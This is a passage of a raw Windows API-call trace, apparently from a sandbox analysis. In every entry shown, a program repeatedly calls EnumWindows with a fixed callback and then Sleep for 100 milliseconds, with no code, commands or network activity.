[0155.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.267] Sleep (dwMilliseconds=0x64) [0155.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.270] Sleep (dwMilliseconds=0x64) [0155.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.272] Sleep (dwMilliseconds=0x64) [0155.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.274] Sleep (dwMilliseconds=0x64) [0155.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.276] Sleep (dwMilliseconds=0x64) [0155.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.278] Sleep (dwMilliseconds=0x64) [0155.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.279] Sleep (dwMilliseconds=0x64) [0155.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.335] Sleep (dwMilliseconds=0x64) [0155.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.447] Sleep (dwMilliseconds=0x64) [0155.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.556] Sleep (dwMilliseconds=0x64) [0155.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.594] Sleep (dwMilliseconds=0x64) [0155.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.645] Sleep (dwMilliseconds=0x64) [0155.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.767] Sleep (dwMilliseconds=0x64) [0155.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.778] Sleep (dwMilliseconds=0x64) [0155.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.784] Sleep (dwMilliseconds=0x64) [0155.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.785] Sleep (dwMilliseconds=0x64) [0155.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.787] Sleep (dwMilliseconds=0x64) [0155.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.788] Sleep (dwMilliseconds=0x64) [0155.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.791] Sleep (dwMilliseconds=0x64) [0155.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.793] Sleep (dwMilliseconds=0x64) [0155.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.795] Sleep (dwMilliseconds=0x64) [0155.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.796] Sleep (dwMilliseconds=0x64) [0155.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.831] Sleep (dwMilliseconds=0x64) [0155.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.905] Sleep (dwMilliseconds=0x64) [0155.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.908] Sleep (dwMilliseconds=0x64) [0155.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.910] Sleep (dwMilliseconds=0x64) [0155.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.912] Sleep (dwMilliseconds=0x64) [0155.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.914] Sleep (dwMilliseconds=0x64) [0155.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.916] Sleep (dwMilliseconds=0x64) [0155.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.918] Sleep (dwMilliseconds=0x64) [0155.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.919] Sleep (dwMilliseconds=0x64) [0155.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.921] Sleep (dwMilliseconds=0x64) [0155.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.923] Sleep (dwMilliseconds=0x64) [0155.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.925] Sleep (dwMilliseconds=0x64) [0155.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.927] Sleep (dwMilliseconds=0x64) [0155.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.929] Sleep (dwMilliseconds=0x64) [0155.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.931] Sleep (dwMilliseconds=0x64) [0155.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.932] Sleep (dwMilliseconds=0x64) [0155.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.934] Sleep (dwMilliseconds=0x64) [0155.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.962] Sleep (dwMilliseconds=0x64) [0155.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.964] Sleep (dwMilliseconds=0x64) [0155.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.965] Sleep (dwMilliseconds=0x64) [0155.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.967] Sleep (dwMilliseconds=0x64) [0155.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.968] Sleep (dwMilliseconds=0x64) [0155.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.970] Sleep (dwMilliseconds=0x64) [0155.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.972] Sleep (dwMilliseconds=0x64) [0155.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.974] Sleep (dwMilliseconds=0x64) [0155.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.977] Sleep (dwMilliseconds=0x64) [0155.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.978] Sleep (dwMilliseconds=0x64) [0155.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.981] Sleep (dwMilliseconds=0x64) [0155.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.982] Sleep (dwMilliseconds=0x64) [0155.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.984] Sleep (dwMilliseconds=0x64) [0155.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.986] Sleep (dwMilliseconds=0x64) [0155.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.989] Sleep (dwMilliseconds=0x64) [0155.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.991] Sleep (dwMilliseconds=0x64) [0155.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.993] Sleep (dwMilliseconds=0x64) [0155.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.995] Sleep (dwMilliseconds=0x64) [0155.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.997] Sleep (dwMilliseconds=0x64) [0155.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.999] Sleep (dwMilliseconds=0x64) [0156.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.000] Sleep (dwMilliseconds=0x64) [0156.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.002] Sleep (dwMilliseconds=0x64) [0156.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.004] Sleep (dwMilliseconds=0x64) [0156.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.005] Sleep (dwMilliseconds=0x64) [0156.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.007] Sleep (dwMilliseconds=0x64) [0156.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.009] Sleep (dwMilliseconds=0x64) [0156.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.010] Sleep (dwMilliseconds=0x64) [0156.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.013] Sleep (dwMilliseconds=0x64) [0156.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.015] Sleep (dwMilliseconds=0x64) [0156.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.017] Sleep (dwMilliseconds=0x64) [0156.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.019] Sleep (dwMilliseconds=0x64) [0156.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.020] Sleep (dwMilliseconds=0x64) [0156.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.022] Sleep (dwMilliseconds=0x64) [0156.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.025] Sleep (dwMilliseconds=0x64) [0156.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.026] Sleep (dwMilliseconds=0x64) [0156.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.028] Sleep (dwMilliseconds=0x64) [0156.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.031] Sleep (dwMilliseconds=0x64) [0156.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.032] Sleep (dwMilliseconds=0x64) [0156.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.035] Sleep (dwMilliseconds=0x64) [0156.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.037] Sleep (dwMilliseconds=0x64) [0156.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.039] Sleep (dwMilliseconds=0x64) [0156.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.041] Sleep (dwMilliseconds=0x64) [0156.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.043] Sleep (dwMilliseconds=0x64) [0156.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.045] Sleep (dwMilliseconds=0x64) [0156.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.047] Sleep (dwMilliseconds=0x64) [0156.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.049] Sleep (dwMilliseconds=0x64) [0156.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.051] Sleep (dwMilliseconds=0x64) [0156.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.053] Sleep (dwMilliseconds=0x64) [0156.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.055] Sleep (dwMilliseconds=0x64) [0156.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.058] Sleep (dwMilliseconds=0x64) [0156.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.060] Sleep (dwMilliseconds=0x64) [0156.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.062] Sleep (dwMilliseconds=0x64) [0156.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.063] Sleep (dwMilliseconds=0x64) [0156.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.065] Sleep (dwMilliseconds=0x64) [0156.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.068] Sleep (dwMilliseconds=0x64) [0156.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.070] Sleep (dwMilliseconds=0x64) [0156.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.072] Sleep (dwMilliseconds=0x64) [0156.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.073] Sleep (dwMilliseconds=0x64) [0156.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.076] Sleep (dwMilliseconds=0x64) [0156.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.077] Sleep (dwMilliseconds=0x64) [0156.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.079] Sleep (dwMilliseconds=0x64) [0156.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.082] Sleep (dwMilliseconds=0x64) [0156.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.083] Sleep (dwMilliseconds=0x64) [0156.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.085] Sleep (dwMilliseconds=0x64) [0156.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.087] Sleep (dwMilliseconds=0x64) [0156.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.089] Sleep (dwMilliseconds=0x64) [0156.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.091] Sleep (dwMilliseconds=0x64) [0156.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.093] Sleep (dwMilliseconds=0x64) [0156.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.094] Sleep (dwMilliseconds=0x64) [0156.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.096] Sleep (dwMilliseconds=0x64) [0156.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.098] Sleep (dwMilliseconds=0x64) [0156.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.099] Sleep (dwMilliseconds=0x64) [0156.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.101] Sleep (dwMilliseconds=0x64) [0156.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.103] Sleep (dwMilliseconds=0x64) [0156.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.105] Sleep (dwMilliseconds=0x64) [0156.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.108] Sleep (dwMilliseconds=0x64) [0156.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.109] Sleep (dwMilliseconds=0x64) [0156.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.111] Sleep (dwMilliseconds=0x64) [0156.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.113] Sleep (dwMilliseconds=0x64) [0156.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.115] Sleep (dwMilliseconds=0x64) [0156.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.117] Sleep (dwMilliseconds=0x64) [0156.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.118] Sleep (dwMilliseconds=0x64) [0156.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.120] Sleep (dwMilliseconds=0x64) [0156.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.122] Sleep (dwMilliseconds=0x64) [0156.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.131] Sleep (dwMilliseconds=0x64) [0156.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.134] Sleep (dwMilliseconds=0x64) [0156.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.136] Sleep (dwMilliseconds=0x64) [0156.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.138] Sleep (dwMilliseconds=0x64) [0156.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.140] Sleep (dwMilliseconds=0x64) [0156.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.142] Sleep (dwMilliseconds=0x64) [0156.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.144] Sleep (dwMilliseconds=0x64) [0156.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.146] Sleep (dwMilliseconds=0x64) [0156.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.148] Sleep (dwMilliseconds=0x64) [0156.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.150] Sleep (dwMilliseconds=0x64) [0156.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.151] Sleep (dwMilliseconds=0x64) [0156.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.153] Sleep (dwMilliseconds=0x64) [0156.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.155] Sleep (dwMilliseconds=0x64) [0156.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.157] Sleep (dwMilliseconds=0x64) [0156.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.161] Sleep (dwMilliseconds=0x64) [0156.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.162] Sleep (dwMilliseconds=0x64) [0156.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.164] Sleep (dwMilliseconds=0x64) [0156.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.166] Sleep (dwMilliseconds=0x64) [0156.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.168] Sleep (dwMilliseconds=0x64) [0156.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.170] Sleep (dwMilliseconds=0x64) [0156.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.172] Sleep (dwMilliseconds=0x64) [0156.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.174] Sleep (dwMilliseconds=0x64) [0156.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.175] Sleep (dwMilliseconds=0x64) [0156.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.177] Sleep (dwMilliseconds=0x64) [0156.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.179] Sleep (dwMilliseconds=0x64) [0156.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.181] Sleep (dwMilliseconds=0x64) [0156.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.183] Sleep (dwMilliseconds=0x64) [0156.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.185] Sleep (dwMilliseconds=0x64) [0156.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.186] Sleep (dwMilliseconds=0x64) [0156.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.190] Sleep (dwMilliseconds=0x64) [0156.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.192] Sleep (dwMilliseconds=0x64) [0156.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.194] Sleep (dwMilliseconds=0x64) [0156.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.196] Sleep (dwMilliseconds=0x64) [0156.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.197] Sleep (dwMilliseconds=0x64) [0156.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.199] Sleep (dwMilliseconds=0x64) [0156.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.201] Sleep (dwMilliseconds=0x64) [0156.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.203] Sleep (dwMilliseconds=0x64) [0156.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.205] Sleep (dwMilliseconds=0x64) [0156.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.207] Sleep (dwMilliseconds=0x64) [0156.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.209] Sleep (dwMilliseconds=0x64) [0156.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.211] Sleep (dwMilliseconds=0x64) [0156.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.212] Sleep (dwMilliseconds=0x64) [0156.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.214] Sleep (dwMilliseconds=0x64) [0156.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.219] Sleep (dwMilliseconds=0x64) [0156.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.220] Sleep (dwMilliseconds=0x64) [0156.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.222] Sleep (dwMilliseconds=0x64) [0156.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.248] Sleep (dwMilliseconds=0x64) [0156.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.250] Sleep (dwMilliseconds=0x64) [0156.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.251] Sleep (dwMilliseconds=0x64) [0156.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.253] Sleep (dwMilliseconds=0x64) [0156.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.254] Sleep (dwMilliseconds=0x64) [0156.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.256] Sleep (dwMilliseconds=0x64) [0156.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.257] Sleep (dwMilliseconds=0x64) [0156.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.259] Sleep (dwMilliseconds=0x64) [0156.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.261] Sleep (dwMilliseconds=0x64) [0156.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.263] Sleep (dwMilliseconds=0x64) [0156.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.265] Sleep (dwMilliseconds=0x64) [0156.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.267] Sleep (dwMilliseconds=0x64) [0156.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.269] Sleep (dwMilliseconds=0x64) [0156.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.317] Sleep (dwMilliseconds=0x64) [0156.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.369] Sleep (dwMilliseconds=0x64) [0156.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.372] Sleep (dwMilliseconds=0x64) [0156.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.373] Sleep (dwMilliseconds=0x64) [0156.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.375] Sleep (dwMilliseconds=0x64) [0156.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.380] Sleep (dwMilliseconds=0x64) [0156.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.382] Sleep (dwMilliseconds=0x64) [0156.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.383] Sleep (dwMilliseconds=0x64) [0156.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.385] Sleep (dwMilliseconds=0x64) [0156.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.386] Sleep (dwMilliseconds=0x64) [0156.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.388] Sleep (dwMilliseconds=0x64) [0156.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.389] Sleep (dwMilliseconds=0x64) [0156.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.391] Sleep (dwMilliseconds=0x64) [0156.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.393] Sleep (dwMilliseconds=0x64) [0156.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.395] Sleep (dwMilliseconds=0x64) [0156.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.397] Sleep (dwMilliseconds=0x64) [0156.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.398] Sleep (dwMilliseconds=0x64) [0156.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.421] Sleep (dwMilliseconds=0x64) [0156.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.496] Sleep (dwMilliseconds=0x64) [0156.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.497] Sleep (dwMilliseconds=0x64) [0156.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.499] Sleep (dwMilliseconds=0x64) [0156.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.501] Sleep (dwMilliseconds=0x64) [0156.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.503] Sleep (dwMilliseconds=0x64) [0156.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.505] Sleep (dwMilliseconds=0x64) [0156.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.507] Sleep (dwMilliseconds=0x64) [0156.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.510] Sleep (dwMilliseconds=0x64) [0156.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.512] Sleep (dwMilliseconds=0x64) [0156.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.513] Sleep (dwMilliseconds=0x64) [0156.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.516] Sleep (dwMilliseconds=0x64) [0156.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.517] Sleep (dwMilliseconds=0x64) [0156.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.520] Sleep (dwMilliseconds=0x64) [0156.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.525] Sleep (dwMilliseconds=0x64) [0156.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.530] Sleep (dwMilliseconds=0x64) [0156.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.621] Sleep (dwMilliseconds=0x64) [0156.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.623] Sleep (dwMilliseconds=0x64) [0156.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.625] Sleep (dwMilliseconds=0x64) [0156.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.627] Sleep (dwMilliseconds=0x64) [0156.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.628] Sleep (dwMilliseconds=0x64) [0156.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.630] Sleep (dwMilliseconds=0x64) [0156.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.631] Sleep (dwMilliseconds=0x64) [0156.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.633] Sleep (dwMilliseconds=0x64) [0156.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.635] Sleep (dwMilliseconds=0x64) [0156.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.637] Sleep (dwMilliseconds=0x64) [0156.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.638] Sleep (dwMilliseconds=0x64) [0156.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.640] Sleep (dwMilliseconds=0x64) [0156.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.642] Sleep (dwMilliseconds=0x64) [0156.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.647] Sleep (dwMilliseconds=0x64) [0156.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.649] Sleep (dwMilliseconds=0x64) [0156.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.651] Sleep (dwMilliseconds=0x64) [0156.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.653] Sleep (dwMilliseconds=0x64) [0156.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.655] Sleep (dwMilliseconds=0x64) [0156.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.657] Sleep (dwMilliseconds=0x64) [0156.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.659] Sleep (dwMilliseconds=0x64) [0156.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.661] Sleep (dwMilliseconds=0x64) [0156.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.663] Sleep (dwMilliseconds=0x64) [0156.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.665] Sleep (dwMilliseconds=0x64) 